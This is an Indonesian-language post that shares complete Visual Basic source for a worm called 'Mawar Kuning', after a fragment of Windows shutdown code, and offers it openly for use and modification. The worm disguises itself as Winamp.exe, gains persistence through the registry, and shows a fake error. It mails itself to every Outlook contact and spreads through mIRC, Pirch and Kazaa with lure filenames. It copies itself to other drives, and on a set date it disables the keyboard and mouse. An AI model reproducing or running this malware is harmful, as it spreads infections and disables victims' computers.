'Setting Privileges windows NT
AdjustTokenPrivileges hToken, False, mPriv, 4 + (12 * mPriv.PrivilegeCount), mNewPriv, 4 + (12 * mNewPriv.PrivilegeCount)

End Sub


' Reboot For WinNT
Public Sub RebootNT(Force As Boolean)

Dim Flags As Long
Flags = EWX_REBOOT
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0

End Sub

' Shutdown For WinNT
Public Sub ShutdownNT(Force As Boolean)

Dim Flags As Long
Flags = EWX_SHUTDOWN
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0

End Sub

Worm Mawar Kuning

Salam VB Coders,
Aq ingin ngasih tau contoh dasar pembuatan worm yang menginfeksi Kazaa,
Pirch,MIRC,dan Microsoft Outlook buat saling mempropagandain sendiri,
worm ini bisa dipake kok…
Tutorial ini aq kasih nama "Mawar Kuning",namanya jangan sama ya.. kalo mau di pake and dirubah Oke..
Ini Infeksinya :
1. Akan mengcopy di C:%System%\Winamp.exe
2. Mendaftarkan dirinya di register di :
$HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Swf32="C:%System%\Winamp.exe"' supaya bisa aktif kalo kumpoter di nyala in..
$HKEY_CLASSES_ROOT\scrfile\shell\open\command\="C:%System%\winamp.exe"',
3. Nampilin error : Winamp error, please reinstall !' saat virus di jalanin
4. akan mengcopy ke folder startup jadi bisa aktif terus
5. Mengcopy juga ke %Windows%, %System% and %Temp% folders dengan nama 'Jdbgmgr.exe'
Ini di lakukan supaya ada backupan worm.
6. mengirim email ke semua daftar alamat email yang ada di address book
7. Worm ini akan berusaha menyebarkan dirinya melalui Mirc, Pirch and Kazaa
8. Oo..h iya..,aq enggak tau nyebarin melaui E-mail bekerja apa enggak di komputer laen,masalahnya di komputer aq jalan,kasih tau aq yah.. sapa tau aja jalan ? ! ?
9. dan sebagainya, di coba yah..

Kalo mau ngebuatnya yang dibutuhin cuman Form kosong aja kok, gak ada komponen laennya and tinggal di masukin aja Codingnya .

NB : Aq gunain statement Print -> 6.02x10^23,

Ini Codingnya :

Code:
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long 'Objeck CD Tray (Supaya worm bisa buka CD Tray)
Private Sub Form_Load()
On Error Resume Next
' -------------------------------------------------------------------------------------
Dim AppPath As String
AppPath = App.Path
If Right(AppPath, 1) <> "\" Then AppPath = AppPath & "\" ' cari tempat negcopy :)
Set fso = CreateObject("Scripting.FileSystemObject") ' Cari tempat di direktori %Windows%, %System% atau %Temp%.
Set wsc = CreateObject("WScript.Shell") ' Copy ke Folder %Startup% , dan tulis di register.
WormMawarkuning = AppPath & App.EXEName & ".EXE" ' Copy format .exe.
' -------------------------------------------------------------------------------------
If Dir(fso.GetSpecialFolder(1) & "\Winamp.exe") <> "Winamp.exe" Then ' Periksa apa worm udah di Copy.
FileCopy WormMawarkuning, fso.GetSpecialFolder(1) & "\Winamp.exe" ' Kalo worm belum di copy,yah.. di copy lagi dunks... :)
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Winamp", fso.GetSpecialFolder(1) & "\Winamp.exe" ' Tulis ke Register supaya worm bisa terus di jalan in.
wsc.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\", fso.GetSpecialFolder(1) & "\Winamp.exe" ' Tulis ke Register,terus mengesampingkan perintah Screen Server di Dekstop,supaya menghemat daya yang di gunain di Svreen Server, dan sebagai gantinya yah.. worm ini lah...
MsgBox "Winamp Error,Please Reinstal....!", vbCritical, "Error" ' Kirim pesan palsu :)
Else
If Day(Now) = 16 Then 'infeksi pada tanggal 16 :)
MsgBox "Compact-Disc Terinfeksi", vbSystemModal + vbExclamation, "Mawar Kuning By Shadow Angel"
mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0& ' Buka CD Tray :)
wsc.Run "Rundll32.exe Keyboard,Disable" ' Disable keyboard
wsc.Run "Rundll32.exe Mouse,Disable" ' Disable mouse
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\MawarKuning_Keyboard", "Rundll32.exe Keyboard,Disable" ' Disable Keyboard di Register,jadi Keyboard akan tetap enggak jalan sebelum Value di Register di Hapus.
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\MawarKuning_Mouse", "Rundll32.exe Mouse,Disable" ' Sama seperti Keyboard,Mouse akan tetap disable sebelum Value di Register di Hapus.
End If
End If
' -------------------------------------------------------------------------------------
If Dir(wsc.SpecialFolders("Startup") & "\MawarKuning.exe") <> "MawarKuning.exe" Then 'Copy ke Folder StartUp
FileCopy WormMawarkuning, wsc.SpecialFolders("Startup") & "\MawarKuning.exe" ' Kalo worm enggak ada di folder StartUp, Yah.. copy lagi.. lagi.. dan lagi.. sampe bosen :)
End If
' -------------------------------------------------------------------------------------
FileCopy WormMawarkuning, fso.GetSpecialFolder(0) & "\Jdbgmgr.exe"
FileCopy WormMawarkuning, fso.GetSpecialFolder(1) & "\Jdbgmgr.exe" ' buat BackUp Worm ,dan copy ulang file Jdbgmgr.exe :)
FileCopy WormMawarkuning, fso.GetSpecialFolder(2) & "\Jdbgmgr.exe"
' -------------------------------------------------------------------------------------
If Dir(fso.GetSpecialFolder(1) & "\Mawar Kuning.txt") <> "Mawar Kuning.txt" Then ' kirim worm ke alamat yang ada di Address Book di Microsoft Outlook.
Set OutlookApp = CreateObject("Outlook.Application")
Set GNS = OutlookApp.GetNameSpace("MAPI")
For List1 = 1 To GNS.AddressLists.Count
CountLoop = 1
For ListCount = 1 To GNS.AddressLists(List1).AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add (GNS.AddressLists(List1).AddressEntries(CountLoop))
Randomize
RndNumber = Int((6 * Rnd) + 1)
Select Case RndNumber
Case 1: RndText = "Kamu udah Lihat Gambar Mawar Kuning lagi Mekar;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 2: RndText = "Ada Video,Mawar Kuning lagi Mekar di pagi hari loh....." & vbCrLf _
& "Balas E-mail aku ya.. supaya aku tahu kamu suka apa enggak,Oke..;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 3: RndText = "Kamu sudah punya video Mawar Kuning Lagi Mekar Di Pagi Hari, Aku tahu kamu suka Video ini,;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 4: RndText = "Kamu sudah lihat belum,Video sepasang kekasih duduk dikelilingi Mawar kuning..." & vbCrLf _
& "Aku tahu kamu pasti suka;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 5: RndText = "Apa pendapat kamu tentang Video Mawar kuning ?" & vbCrLf _
& "Kirim e-mail ke aku yah.. aku ingin tahu pendapat kamu;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 6: RndText = "Nonton video Mawar kuning,kamu pasti suka;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
End Select
OutlookEmail.Subject = "Salam Kenal!"
OutlookEmail.Body = RndText
OutlookEmail.Attachments.Add (fso.GetSpecialFolder(1) & "\MawarKuning.exe")
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Importance = 2
OutlookEmail.Send
CountLoop = CountLoop + 1
Next
Next
End If
' -------------------------------------------------------------------------------------
Open fso.GetSpecialFolder(1) & "\Mawar Kuning.txt" For Output As 1
Print #1, "MawarKuning by Shadow Angel"
Close 1
' -------------------------------------------------------------------------------------
If Dir("C:\Mirc32\Mirc.ini") = "Mirc.ini" Then mIRCPath = "C:\Mirc32" ' Cari Mirc
If Dir("C:\Mirc\Mirc.ini") = "Mirc.ini" Then mIRCPath = "C:\Mirc"
If Dir(wsc.SpecialFolders("Programs") & "\Mirc\Mirc.ini") = "Mirc.ini" Then mIRCPath = wsc.SpecialFolders("Programs") & "\Mirc"
If Dir(wsc.SpecialFolders("Programs") & "\Mirc32\Mirc.ini") = "Mirc.ini" Then mIRCPath = wsc.SpecialFolders("Programs") & "\Mirc32"
If mIRCPath <> "" Then ' Jika Mirc di instal atau ada di komputer worm akan mengEdit : Script.ini :)
' -------------------------------------------------------------------------------------
If Dir(mIRCPath & "\Mawar.ex_") <> "Mawar.ex_" Then
FileCopy WormMawarkuning, mIRCPath & "\Mawar.ex_"
End If
' -------------------------------------------------------------------------------------
Open mIRCPath & "\script.ini" For Output As 2
Print #2, "[script]"
Print #2, "n5= on 1:JOIN:#:{"
Print #2, "n6= /if ( $nick == $me ) { halt }"
Print #2, "n7= /msg $nick Kamu sudah lihat Film Mawar Kuning;) - Kalo filmnya enggak jalan ganti nama filenya menjadi MawarKuning.exe"
Print #2, "n8= /dcc send -c $nick " & mIRCPath & "\Mawar.ex_"
Print #2, "n9= }"
Close 2
End If
' -------------------------------------------------------------------------------------
If Dir("C:\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch32" ' Cari Folder Pirch
If Dir("C:\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch"
If Dir(wsc.SpecialFolders("Programs") & "\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = wsc.SpecialFolders("Programs") & "\Pirch"
If Dir(wsc.SpecialFolders("Programs") & "\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = wsc.SpecialFolders("Programs") & "\Pirch32"
' -------------------------------------------------------------------------------------
If PirchPath <> "" Then ' Kalo Pirch di instal di komputer atau ada di komputer maka worm akan mengEdit file : Events.ini :)
' -------------------------------------------------------------------------------------
If Dir(PirchPath & "\Mawar.ex_") <> "Mawar.ex_" Then
FileCopy WormMawarkuning, PirchPath & "\Mawar.ex_"
End If
' -------------------------------------------------------------------------------------
Open PirchPath & "\events.ini" For Output As 3
Print #3, "[Levels]"
Print #3, "Enabled=1"
Print #3, "Count=6"
Print #3, "Level1=000-Unknowns"
Print #3, "000-UnknownsEnabled=1"
Print #3, "Level2=100-Level 100"
Print #3, "100-Level 100Enabled=1"
Print #3, "Level3=200-Level 200"
Print #3, "200-Level 200Enabled=1"
Print #3, "Level4=300-Level 300"
Print #3, "300-Level 300Enabled=1"
Print #3, "Level5=400-Level 400"
Print #3, "400-Level 400Enabled=1"
Print #3, "Level6=500-Level 500"
Print #3, "500-Level 500Enabled=1"
Print #3, ""
Print #3, "[000-Unknowns]"
Print #3, "UserCount=0"
Print #3, "Event1=ON JOIN:#:/msg $nick Kamu sudah lihat Film Mawar Kuning;) - Kalo filmnya enggak jalan ganti nama filenya menjadi MawarKuning.exe"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[100-Level 100]"
Print #3, "User1=*!*@*"
Print #3, "UserCount=1"
Print #3, "Event1=ON JOIN:#:/dcc send $nick " & PirchPath & "\Mawar.ex_"
Print #3, "EventCount=1"
Print #3, ""
Print #3, "[200-Level 200]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[300-Level 300]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[400-Level 400]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[500-Level 500]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Close 3
End If
' -------------------------------------------------------------------------------------
If Dir("C:\Kazaa\Kazaa.exe") = "Kazaa.exe" Or Dir(wsc.SpecialFolders("Programs") & "\Kazaa\Kazaa.exe") = "Kazaa.exe" Then ' Periksa apa Kazaa di instal/ada di komputer.
MkDir fso.GetSpecialFolder(1) & "\KazaaShared" ' Kalo Kazaa ada dikomputer,maka worm akan membuat folder tersembunyi :)
KazaaShared = fso.GetSpecialFolder(1) & "\KazaaShared\"
FileCopy WormMawarkuning, KazaaShared & "Tangisan Berdarah.exe"
FileCopy WormMawarkuning, KazaaShared & "Video Mawar Kuning.exe"
FileCopy WormMawarkuning, KazaaShared & "Shadow_Angel.exe"
FileCopy WormMawarkuning, KazaaShared & "Winamp.exe"
FileCopy WormMawarkuning, KazaaShared & "XXX video.exe"
FileCopy WormMawarkuning, KazaaShared & "Superman.exe"
FileCopy WormMawarkuning, KazaaShared & "Tukul.exe"
FileCopy WormMawarkuning, KazaaShared & "My computer.exe"
FileCopy WormMawarkuning, KazaaShared & "ARCADE POOL II.exe"
FileCopy WormMawarkuning, KazaaShared & "Tutorial Hacking.exe"
FileCopy WormMawarkuning, KazaaShared & "MacroMedia Flash 6.0.exe"
FileCopy WormMawarkuning, KazaaShared & "Zuma.exe"
FileCopy WormMawarkuning, KazaaShared & "Microsoft Word.exe"
FileCopy WormMawarkuning, KazaaShared & "Lesbian.exe"
FileCopy WormMawarkuning, KazaaShared & "[SWF] - Jurassic Park 3.exe"
FileCopy WormMawarkuning, KazaaShared & App.EXEName & ".exe"
wsc.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\Transfer\DlDir1", fso.GetSpecialFolder(1) & "\KazaaShared" ' Folder tersembunyinya tulis di Register :)
End If
' -------------------------------------------------------------------------------------
For Each dc In fso.Drives ' Infeksi Driver.
If dc.DriveType = 2 Or dc.DriveType = 3 Then
If UCase(dc.Path) <> "C:" Then
If dc.IsReady Then
If Dir(dc.Path & "\Winamp.exe") <> "Winamp.exe" Then 'Periksa apa worm terCopy.
FileCopy WormMawarkuning, dc.Path & "\Winamp.exe" ' Kalo gak ada Copy Lagi..:)
End If
End If
End If
End If
Next
wsc.RegWrite "HKEY_CURRENT_USER\Software\MawarKuning\1.0\", "MawarKuning by Shadow Angel"
' -------------------------------------------------------------------------------------
End Sub